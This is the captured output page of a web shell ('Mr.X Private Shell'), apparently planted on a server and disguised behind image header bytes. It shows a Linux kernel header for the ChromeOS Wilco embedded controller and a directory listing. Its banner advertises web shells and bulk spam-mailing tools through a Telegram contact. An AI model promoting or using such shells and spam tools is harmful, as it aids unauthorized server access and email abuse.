����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * ChromeOS Wilco Embedded Controller
 *
 * Copyright 2018 Google LLC
 */

#ifndef WILCO_EC_H
#define WILCO_EC_H

#include <linux/mutex.h>
#include <linux/types.h>

/* Message flags for using the mailbox() interface */
#define WILCO_EC_FLAG_NO_RESPONSE	BIT(0) /* EC does not respond */

/* Normal commands have a maximum 32 bytes of data */
#define EC_MAILBOX_DATA_SIZE		32

struct device;
struct resource;
struct platform_device;

/**
 * struct wilco_ec_device - Wilco Embedded Controller handle.
 * @dev: Device handle.
 * @mailbox_lock: Mutex to ensure one mailbox command at a time.
 * @io_command: I/O port for mailbox command.  Provided by ACPI.
 * @io_data: I/O port for mailbox data.  Provided by ACPI.
 * @io_packet: I/O port for mailbox packet data.  Provided by ACPI.
 * @data_buffer: Buffer used for EC communication.  The same buffer
 *               is used to hold the request and the response.
 * @data_size: Size of the data buffer used for EC communication.
 * @debugfs_pdev: The child platform_device used by the debugfs sub-driver.
 * @rtc_pdev: The child platform_device used by the RTC sub-driver.
 * @charger_pdev: Child platform_device used by the charger config sub-driver.
 * @telem_pdev: The child platform_device used by the telemetry sub-driver.
 */
struct wilco_ec_device {
	struct device *dev;
	struct mutex mailbox_lock;
	struct resource *io_command;
	struct resource *io_data;
	struct resource *io_packet;
	void *data_buffer;
	size_t data_size;
	struct platform_device *debugfs_pdev;
	struct platform_device *rtc_pdev;
	struct platform_device *charger_pdev;
	struct platform_device *telem_pdev;
};

/**
 * struct wilco_ec_request - Mailbox request message format.
 * @struct_version: Should be %EC_MAILBOX_PROTO_VERSION
 * @checksum: Sum of all bytes must be 0.
 * @mailbox_id: Mailbox identifier, specifies the command set.
 * @mailbox_version: Mailbox interface version %EC_MAILBOX_VERSION
 * @reserved: Set to zero.
 * @data_size: Length of following data.
 */
struct wilco_ec_request {
	u8 struct_version;
	u8 checksum;
	u16 mailbox_id;
	u8 mailbox_version;
	u8 reserved;
	u16 data_size;
} __packed;

/**
 * struct wilco_ec_response - Mailbox response message format.
 * @struct_version: Should be %EC_MAILBOX_PROTO_VERSION
 * @checksum: Sum of all bytes must be 0.
 * @result: Result code from the EC.  Non-zero indicates an error.
 * @data_size: Length of the response data buffer.
 * @reserved: Set to zero.
 * @data: Response data buffer.  Max size is %EC_MAILBOX_DATA_SIZE_EXTENDED.
 */
struct wilco_ec_response {
	u8 struct_version;
	u8 checksum;
	u16 result;
	u16 data_size;
	u8 reserved[2];
	u8 data[];
} __packed;

/**
 * enum wilco_ec_msg_type - Message type to select a set of command codes.
 * @WILCO_EC_MSG_LEGACY: Legacy EC messages for standard EC behavior.
 * @WILCO_EC_MSG_PROPERTY: Get/Set/Sync EC controlled NVRAM property.
 * @WILCO_EC_MSG_TELEMETRY: Request telemetry data from the EC.
 */
enum wilco_ec_msg_type {
	WILCO_EC_MSG_LEGACY = 0x00f0,
	WILCO_EC_MSG_PROPERTY = 0x00f2,
	WILCO_EC_MSG_TELEMETRY = 0x00f5,
};

/**
 * struct wilco_ec_message - Request and response message.
 * @type: Mailbox message type.
 * @flags: Message flags, e.g. %WILCO_EC_FLAG_NO_RESPONSE.
 * @request_size: Number of bytes to send to the EC.
 * @request_data: Buffer containing the request data.
 * @response_size: Number of bytes to read from EC.
 * @response_data: Buffer containing the response data, should be
 *                 response_size bytes and allocated by caller.
 */
struct wilco_ec_message {
	enum wilco_ec_msg_type type;
	u8 flags;
	size_t request_size;
	void *request_data;
	size_t response_size;
	void *response_data;
};

/**
 * wilco_ec_mailbox() - Send request to the EC and receive the response.
 * @ec: Wilco EC device.
 * @msg: Wilco EC message.
 *
 * Return: Number of bytes received or negative error code on failure.
 */
int wilco_ec_mailbox(struct wilco_ec_device *ec, struct wilco_ec_message *msg);

/**
 * wilco_keyboard_leds_init() - Set up the keyboard backlight LEDs.
 * @ec: EC device to query.
 *
 * After this call, the keyboard backlight will be exposed through a an LED
 * device at /sys/class/leds.
 *
 * This may sleep because it uses wilco_ec_mailbox().
 *
 * Return: 0 on success, negative error code on failure.
 */
int wilco_keyboard_leds_init(struct wilco_ec_device *ec);

/*
 * A Property is typically a data item that is stored to NVRAM
 * by the EC. Each of these data items has an index associated
 * with it, known as the Property ID (PID). Properties may have
 * variable lengths, up to a max of WILCO_EC_PROPERTY_MAX_SIZE
 * bytes. Properties can be simple integers, or they may be more
 * complex binary data.
 */

#define WILCO_EC_PROPERTY_MAX_SIZE	4

/**
 * struct ec_property_set_msg - Message to get or set a property.
 * @property_id: Which property to get or set.
 * @length: Number of bytes of |data| that are used.
 * @data: Actual property data.
 */
struct wilco_ec_property_msg {
	u32 property_id;
	int length;
	u8 data[WILCO_EC_PROPERTY_MAX_SIZE];
};

/**
 * wilco_ec_get_property() - Retrieve a property from the EC.
 * @ec: Embedded Controller device.
 * @prop_msg: Message for request and response.
 *
 * The property_id field of |prop_msg| should be filled before calling this
 * function. The result will be stored in the data and length fields.
 *
 * Return: 0 on success, negative error code on failure.
 */
int wilco_ec_get_property(struct wilco_ec_device *ec,
			  struct wilco_ec_property_msg *prop_msg);

/**
 * wilco_ec_set_property() - Store a property on the EC.
 * @ec: Embedded Controller device.
 * @prop_msg: Message for request and response.
 *
 * The property_id, length, and data fields of |prop_msg| should be
 * filled before calling this function.
 *
 * Return: 0 on success, negative error code on failure.
 */
int wilco_ec_set_property(struct wilco_ec_device *ec,
			  struct wilco_ec_property_msg *prop_msg);

/**
 * wilco_ec_get_byte_property() - Retrieve a byte-size property from the EC.
 * @ec: Embedded Controller device.
 * @property_id: Which property to retrieve.
 * @val: The result value, will be filled by this function.
 *
 * Return: 0 on success, negative error code on failure.
 */
int wilco_ec_get_byte_property(struct wilco_ec_device *ec, u32 property_id,
			       u8 *val);

/**
 * wilco_ec_get_byte_property() - Store a byte-size property on the EC.
 * @ec: Embedded Controller device.
 * @property_id: Which property to store.
 * @val: Value to store.
 *
 * Return: 0 on success, negative error code on failure.
 */
int wilco_ec_set_byte_property(struct wilco_ec_device *ec, u32 property_id,
			       u8 val);

/**
 * wilco_ec_add_sysfs() - Create sysfs entries
 * @ec: Wilco EC device
 *
 * wilco_ec_remove_sysfs() needs to be called afterwards
 * to perform the necessary cleanup.
 *
 * Return: 0 on success or negative error code on failure.
 */
int wilco_ec_add_sysfs(struct wilco_ec_device *ec);
void wilco_ec_remove_sysfs(struct wilco_ec_device *ec);

#endif /* WILCO_EC_H */

Filemanager

Name Type Size Permission Actions
gpio Folder 0755
media Folder 0755
txx9 Folder 0755
x86 Folder 0755
ad5449.h File 1.17 KB 0644
ad5761.h File 1.24 KB 0644
ad7266.h File 1.33 KB 0644
ad7791.h File 530 B 0644
ad7793.h File 3.75 KB 0644
ad7887.h File 573 B 0644
adau17x1.h File 3.51 KB 0644
adp5588.h File 6.55 KB 0644
adp8860.h File 4.61 KB 0644
adp8870.h File 4.52 KB 0644
ads7828.h File 690 B 0644
amd_qdma.h File 943 B 0644
ams-delta-fiq.h File 1.62 KB 0644
apds990x.h File 1.83 KB 0644
arm-ux500-pm.h File 566 B 0644
asoc-imx-ssi.h File 686 B 0644
asoc-kirkwood.h File 145 B 0644
asoc-palm27x.h File 152 B 0644
asoc-s3c.h File 1.32 KB 0644
asoc-ti-mcbsp.h File 820 B 0644
asoc-ux500-msp.h File 433 B 0644
ata-pxa.h File 392 B 0644
atmel.h File 374 B 0644
b53.h File 1.13 KB 0644
bcmgenet.h File 402 B 0644
bd6107.h File 237 B 0644
bh1770glc.h File 1.18 KB 0644
brcmfmac.h File 6.63 KB 0644
brcmnand.h File 286 B 0644
clk-da8xx-cfgchip.h File 504 B 0644
clk-davinci-pll.h File 465 B 0644
clk-fch.h File 287 B 0644
cpuidle-exynos.h File 361 B 0644
cros_ec_chardev.h File 1.08 KB 0644
cros_ec_commands.h File 176.61 KB 0644
cros_ec_proto.h File 9.48 KB 0644
cros_ec_sensorhub.h File 6.11 KB 0644
cros_usbpd_notify.h File 436 B 0644
crypto-ux500.h File 526 B 0644
cyttsp4.h File 1.59 KB 0644
davinci-cpufreq.h File 428 B 0644
davinci_asp.h File 2.88 KB 0644
dma-dw.h File 2.57 KB 0644
dma-ep93xx.h File 2.68 KB 0644
dma-hsu.h File 321 B 0644
dma-iop32x.h File 3.27 KB 0644
dma-mcf-edma.h File 1.12 KB 0644
dma-mmp_tdma.h File 647 B 0644
dma-mv_xor.h File 375 B 0644
dma-s3c24xx.h File 1.3 KB 0644
dma-ste-dma40.h File 6.03 KB 0644
dmtimer-omap.h File 1.94 KB 0644
ds620.h File 430 B 0644
dsa.h File 1.61 KB 0644
edma.h File 2.52 KB 0644
elm.h File 1.29 KB 0644
emif_plat.h File 3.92 KB 0644
eth-ep93xx.h File 207 B 0644
eth_ixp4xx.h File 541 B 0644
g762.h File 698 B 0644
gpio-ath79.h File 330 B 0644
gpio-davinci.h File 451 B 0644
gpio-htc-egpio.h File 1.62 KB 0644
gpio-omap.h File 5.64 KB 0644
gpio_backlight.h File 251 B 0644
gpmc-omap.h File 5.53 KB 0644
gsc_hwmon.h File 1.07 KB 0644
hirschmann-hellcreek.h File 719 B 0644
hsmmc-omap.h File 2.09 KB 0644
hwmon-s3c.h File 1.18 KB 0644
i2c-davinci.h File 835 B 0644
i2c-gpio.h File 1.05 KB 0644
i2c-imx.h File 420 B 0644
i2c-mux-gpio.h File 955 B 0644
i2c-mux-reg.h File 1.21 KB 0644
i2c-ocores.h File 644 B 0644
i2c-omap.h File 1.21 KB 0644
i2c-pca-platform.h File 291 B 0644
i2c-pxa.h File 354 B 0644
i2c-s3c2410.h File 2.86 KB 0644
i2c-xiic.h File 853 B 0644
ina2xx.h File 412 B 0644
intel-mid_wdt.h File 456 B 0644
invensense_mpu6050.h File 865 B 0644
iommu-omap.h File 618 B 0644
irda-pxaficp.h File 704 B 0644
irda-sa11x0.h File 411 B 0644
isl9305.h File 487 B 0644
itco_wdt.h File 588 B 0644
keyboard-pxa930_rotary.h File 642 B 0644
keyboard-spear.h File 3.81 KB 0644
keypad-ep93xx.h File 1.01 KB 0644
keypad-nomadik-ske.h File 1.17 KB 0644
keypad-omap.h File 1.3 KB 0644
keypad-pxa27x.h File 2.16 KB 0644
keyscan-davinci.h File 517 B 0644
lcd-mipid.h File 586 B 0644
leds-lm355x.h File 1.42 KB 0644
leds-lm3642.h File 818 B 0644
leds-lp55xx.h File 2.12 KB 0644
leds-omap.h File 352 B 0644
leds-s3c24xx.h File 345 B 0644
lm3630a_bl.h File 1.63 KB 0644
lm3639_bl.h File 1.37 KB 0644
lm8323.h File 746 B 0644
lp855x.h File 3.93 KB 0644
lp8727.h File 1.44 KB 0644
lp8755.h File 1.47 KB 0644
ltc4245.h File 331 B 0644
lv5207lp.h File 273 B 0644
max197.h File 615 B 0644
max3421-hcd.h File 808 B 0644
max6639.h File 433 B 0644
max6697.h File 912 B 0644
max732x.h File 573 B 0644
mcs.h File 693 B 0644
mdio-bcm-unimac.h File 275 B 0644
mdio-gpio.h File 273 B 0644
mfd-mcp-sa11x0.h File 272 B 0644
microchip-ksz.h File 961 B 0644
mlxcpld.h File 885 B 0644
mlxreg.h File 7.54 KB 0644
mmc-davinci.h File 736 B 0644
mmc-esdhc-mcf.h File 447 B 0644
mmc-mxcmmc.h File 1.07 KB 0644
mmc-omap.h File 3.22 KB 0644
mmc-pxamci.h File 809 B 0644
mmc-sdhci-s3c.h File 2.22 KB 0644
mmp_audio.h File 340 B 0644
mmp_dma.h File 350 B 0644
mouse-pxa930_trkball.h File 226 B 0644
mtd-davinci-aemif.h File 715 B 0644
mtd-davinci.h File 2.39 KB 0644
mtd-nand-omap2.h File 2 KB 0644
mtd-nand-pxa3xx.h File 812 B 0644
mtd-nand-s3c2410.h File 2.05 KB 0644
mtd-orion_nand.h File 520 B 0644
mv88e6xxx.h File 416 B 0644
mv_usb.h File 900 B 0644
net-cw1200.h File 2.7 KB 0644
nfcmrvl.h File 1.23 KB 0644
ntc_thermistor.h File 1.26 KB 0644
omap-twl4030.h File 1.04 KB 0644
omap-wd-timer.h File 901 B 0644
omap1_bl.h File 229 B 0644
omapdss.h File 897 B 0644
pata_ixp4xx_cf.h File 466 B 0644
pca953x.h File 360 B 0644
pcf857x.h File 1.78 KB 0644
pcmcia-pxa2xx_viper.h File 200 B 0644
phy-da8xx-usb.h File 474 B 0644
pinctrl-single.h File 425 B 0644
pm33xx.h File 2.25 KB 0644
pxa2xx_udc.h File 983 B 0644
pxa_sdhci.h File 1.45 KB 0644
regulator-haptic.h File 691 B 0644
rtc-ds2404.h File 467 B 0644
s3c-hsotg.h File 1.04 KB 0644
s3c-hsudc.h File 1.04 KB 0644
sa11x0-serial.h File 874 B 0644
sc18is602.h File 401 B 0644
sdhci-pic32.h File 360 B 0644
serial-omap.h File 1 KB 0644
serial-sccnxp.h File 1.89 KB 0644
sgi-w1.h File 222 B 0644
sh_mmcif.h File 5.42 KB 0644
shmob_drm.h File 2.54 KB 0644
sht3x.h File 342 B 0644
shtc1.h File 303 B 0644
si5351.h File 3.55 KB 0644
simplefb.h File 2.21 KB 0644
spi-clps711x.h File 421 B 0644
spi-davinci.h File 2.25 KB 0644
spi-ep93xx.h File 311 B 0644
spi-mt65xx.h File 361 B 0644
spi-omap2-mcspi.h File 475 B 0644
spi-s3c64xx.h File 2.01 KB 0644
st33zp24.h File 367 B 0644
st_sensors_pdata.h File 966 B 0644
syscon.h File 163 B 0644
tda9950.h File 282 B 0644
ti-aemif.h File 1.08 KB 0644
ti-prm.h File 524 B 0644
ti-sysc.h File 4.9 KB 0644
timer-ixp4xx.h File 244 B 0644
touchscreen-s3c2410.h File 595 B 0644
tsc2007.h File 655 B 0644
tsl2563.h File 180 B 0644
tsl2772.h File 3.73 KB 0644
uio_dmem_genirq.h File 397 B 0644
uio_pruss.h File 425 B 0644
usb-davinci.h File 596 B 0644
usb-ehci-orion.h File 440 B 0644
usb-musb-ux500.h File 558 B 0644
usb-ohci-pxa27x.h File 925 B 0644
usb-ohci-s3c2410.h File 941 B 0644
usb-omap.h File 2.81 KB 0644
usb-omap1.h File 1.53 KB 0644
usb-pxa3xx-ulpi.h File 675 B 0644
usb-s3c2410_udc.h File 1.04 KB 0644
usb3503.h File 431 B 0644
ux500_wdt.h File 313 B 0644
video-ep93xx.h File 1.49 KB 0644
video-imxfb.h File 1.75 KB 0644
video-pxafb.h File 5.23 KB 0644
video_s3c.h File 1.71 KB 0644
voltage-omap.h File 1.15 KB 0644
wan_ixp4xx_hss.h File 465 B 0644
wilco-ec.h File 6.91 KB 0644
wiznet.h File 511 B 0644
wkup_m3.h File 542 B 0644
xilinx-ll-temac.h File 1.29 KB 0644
xtalk-bridge.h File 437 B 0644
zforce_ts.h File 313 B 0644